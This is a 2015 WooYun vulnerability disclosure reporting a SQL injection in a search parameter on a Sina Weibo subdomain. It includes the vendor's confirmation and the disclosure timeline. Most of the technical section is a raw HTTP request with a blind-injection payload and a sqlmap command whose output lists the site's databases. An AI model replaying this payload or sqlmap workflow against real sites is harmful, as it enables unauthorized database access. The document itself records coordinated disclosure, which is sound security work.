当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122589

漏洞标题:新浪微博某分站SQL注射

相关厂商:新浪微博

漏洞作者: Jannock

提交时间:2015-06-24 22:34

修复时间:2015-08-09 12:16

公开时间:2015-08-09 12:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-25: 厂商已经确认,细节仅向厂商公开
2015-07-05: 细节向核心白帽子及相关领域专家公开
2015-07-15: 细节向普通白帽子公开
2015-07-25: 细节向实习白帽子公开
2015-08-09: 细节向公众公开

简要描述:

新浪微博某分站SQL注射

详细说明:

GET /hiddphp.php?ac=search&q=ssss%27%20or%202=if((1=1 * ),1,(select%201%20from%20information_schema.tables))%20and%20%27%27=%27&type=1&limit=20&page=0&_=1435155437564 HTTP/1.1
Host: lady.weibo.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lady.weibo.com/hiddphp.php?ac=search&q=sd%5C%27j&type=1&limit=20&page=0&_=1435155437564
Cookie: cookie
Connection: close


q 参数存在SQL注入。

漏洞证明:

python sqlmap.py -r 1.txt --dbms=mysql --technique=B --threads 5 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150211}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:26:28
1.txt
[22:26:28] [INFO] parsing HTTP request from '1.txt'
1.txt
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[22:26:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://lady.weibo.com:80/hiddphp.php?ac=search&q=ssss' or 2=if((1=1
) AND 8416=8416 AND (4071=4071 ),1,(select 1 from information_schema.tables)) a
nd ''='&type=1&limit=20&page=0&_=1435155437564
---
[22:26:33] [INFO] testing MySQL
[22:26:33] [INFO] confirming MySQL
[22:26:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[22:26:33] [INFO] fetching database names
[22:26:33] [INFO] fetching number of databases
[22:26:33] [INFO] retrieved: 3
[22:26:38] [INFO] retrieving the length of query output
[22:26:38] [INFO] retrieved: 18
[22:27:18] [INFO] retrieved: information_schema
[22:27:18] [INFO] retrieving the length of query output
[22:27:18] [INFO] retrieved: 4
[22:27:32] [INFO] retrieved: test
[22:27:32] [INFO] retrieving the length of query output
[22:27:32] [INFO] retrieved: 4
[22:27:44] [INFO] retrieved: tvic
available databases [3]:
[*] information_schema
[*] test
[*] tvic

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-06-25 12:14

厂商回复:

感谢关注新浪安全,安全问题修复中。

最新状态:

暂无